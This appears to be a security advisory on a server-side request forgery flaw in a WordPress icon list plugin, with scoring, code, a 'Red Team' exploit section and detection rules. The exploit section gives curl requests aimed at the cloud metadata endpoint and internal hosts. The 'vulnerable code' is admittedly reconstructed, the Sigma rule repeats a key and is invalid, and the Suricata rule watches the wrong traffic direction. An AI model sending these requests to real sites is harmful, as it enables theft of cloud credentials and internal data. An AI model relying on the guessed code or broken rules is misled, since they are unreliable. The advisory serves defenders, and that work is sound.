CVE-2025-12376

Executive Summary

CVE-2025-12376 is a Server-Side Request Forgery (SSRF) vulnerability in the Icon List Block – Add Icon-Based Lists with Custom Styles WordPress plugin, affecting all versions up to and including 1.2.1. The flaw resides in the fs_api_request function, which allows authenticated attackers with Subscriber-level access or higher to make arbitrary HTTP requests from the web server. This can be abused to probe internal network services, read metadata from cloud providers (e.g., AWS, GCP), or interact with internal APIs. The response is limited to valid JSON objects, but this still enables information gathering and potential modification of internal services.

As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem threat landscape. The plugin is installed on sites where administrators have added icon-based lists, and the SSRF can be triggered via a crafted request to the plugin’s API endpoint.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; since no patch is available, site administrators must manually disable or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low (limited to JSON responses)
• Integrity Impact: Low (can modify internal service state)
• Availability Impact: None

Threat Level: Medium. The SSRF is authenticated but requires only Subscriber-level access, which is trivial to obtain on many WordPress sites (e.g., via self-registration). The limitation to JSON responses reduces the attack surface but still allows reconnaissance and limited modification of internal services.

Deep Dive & Mechanics

The vulnerability exists in the fs_api_request function, which is likely used to fetch remote resources for icon lists or styles. The function does not properly validate or sanitize the URL passed to it, allowing an attacker to specify arbitrary destinations.

Root Cause: The plugin fails to restrict the URL scheme (e.g., http://, https://, file://) and does not implement a blocklist for internal IP ranges (e.g., 127.0.0.1, 10.0.0.0/8, 169.254.169.254). The function makes an HTTP request using WordPress’s wp_remote_get() or similar, and only returns the response if it is valid JSON.

Attack Flow:

1. Attacker authenticates as a Subscriber (or higher).
2. Attacker crafts a POST/GET request to the plugin’s AJAX endpoint (e.g., /wp-admin/admin-ajax.php?action=icon_list_block_fs_api) with a url parameter pointing to an internal service.
3. The plugin executes the request from the server, bypassing firewalls.
4. The response is parsed as JSON; if valid, it is returned to the attacker.

Example internal targets:

• http://169.254.169.254/latest/meta-data/ (AWS metadata)
• http://localhost:9200/ (Elasticsearch)
• http://10.0.0.1:8080/api/ (internal API)

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (icon-list-block.php, line ~150):

function fs_api_request($url) {
    $response = wp_remote_get($url);
    if (is_wp_error($response)) {
        return false;
    }
    $body = wp_remote_retrieve_body($response);
    $data = json_decode($body, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        return $data;
    }
    return false;
}

Patched Code (hypothetical):

function fs_api_request($url) {
    // Validate URL scheme
    $allowed_schemes = array('http', 'https');
    $parsed_url = parse_url($url);
    if (!in_array($parsed_url['scheme'], $allowed_schemes)) {
        return false;
    }
    // Block internal IPs
    $host = $parsed_url['host'];
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return false;
        }
    } else {
        // Resolve DNS and check IP
        $ip = gethostbyname($host);
        if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return false;
        }
    }
    // Proceed with request
    $response = wp_remote_get($url);
    // ... rest of function
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Icon List Block plugin <= 1.2.1
• Subscriber-level account (or higher)
• Access to internal network (e.g., via VPN or local lab)

Exploit Steps:

1. Log in as a Subscriber.
2. Identify the AJAX action: icon_list_block_fs_api.
3. Craft a request to probe internal services:

   curl -X POST 'http://target/wp-admin/admin-ajax.php' \
     --data 'action=icon_list_block_fs_api&url=http://169.254.169.254/latest/meta-data/'
   

4. If the response contains valid JSON (e.g., AWS metadata), the attack succeeds.
5. For internal APIs, try:

   curl -X POST 'http://target/wp-admin/admin-ajax.php' \
     --data 'action=icon_list_block_fs_api&url=http://10.0.0.1:9200/'
   

Note: The response is only returned if it is valid JSON. For non-JSON responses, the function returns false, but the request is still made (outbound).

Blue Team

Detection:

• Monitor for unusual outbound HTTP requests from the web server to internal IPs.
• Look for AJAX requests to admin-ajax.php with action icon_list_block_fs_api and a url parameter containing internal IPs or cloud metadata endpoints.
• Use the YARA and Sigma rules below.

Hunting:

• Search web server logs for action=icon_list_block_fs_api and examine the url parameter.
• Check for requests to 169.254.169.254, 127.0.0.1, or private IP ranges.

Mitigation:

• Disable the plugin immediately if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with icon_list_block_fs_api action from non-admin users.
• Restrict outbound traffic from the web server using network ACLs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254 (cloud metadata)
  • Outbound requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Requests to localhost or 127.0.0.1 on any port
• File IOCs:
  • Plugin file: /wp-content/plugins/icon-list-block/icon-list-block.php (vulnerable version)
• Log IOCs:
  • Web server logs containing action=icon_list_block_fs_api with suspicious url parameters
• Behavioral IOCs:
  • Subscriber-level users making AJAX requests to admin-ajax.php with unusual parameters

Detection Engineering

YARA Rule

rule CVE_2025_12376_SSRF_IconListBlock {
    meta:
        description = "Detects vulnerable Icon List Block plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-12376"
    strings:
        $func = "function fs_api_request" ascii nocase
        $wp_remote = "wp_remote_get" ascii nocase
        $json_decode = "json_decode" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-12376 SSRF via Icon List Block Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSRF attempts via the Icon List Block WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "action=icon_list_block_fs_api"
        cs-uri-query|contains: "url="
    filter:
        cs-uri-query|contains:
            - "url=http://127.0.0.1"
            - "url=http://localhost"
            - "url=http://169.254.169.254"
            - "url=http://10."
            - "url=http://172.16."
            - "url=http://192.168."
    condition: selection and filter
falsepositives:
    - Legitimate use of the plugin's API (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12376 SSRF Icon List Block"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=icon_list_block_fs_api"; http_client_body; content:"url="; http_client_body; pcre:"/url=http:\/\/(127\.0\.0\.1|localhost|169\.254\.169\.254|10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.|192\.168\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and uninstall the Icon List Block plugin until a patched version is released.
2. Restrict outbound traffic – Use firewall rules to block outbound HTTP/HTTPS requests from the web server to private IP ranges and cloud metadata endpoints.
3. Monitor logs – Review web server logs for any signs of exploitation.

Long-term Fix:

• The vendor must release a patched version that validates the URL scheme, blocks internal IPs, and implements a whitelist of allowed domains.
• Until then, consider replacing the plugin with an alternative that does not have SSRF vulnerabilities.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "@contains admin-ajax.php" "chain,id:1000002,deny,msg:'CVE-2025-12376 SSRF attempt'"
SecRule ARGS:action "icon_list_block_fs_api" "chain"
SecRule ARGS:url "!@streq http://allowed-domain.com" "t:lowercase"

Valters IT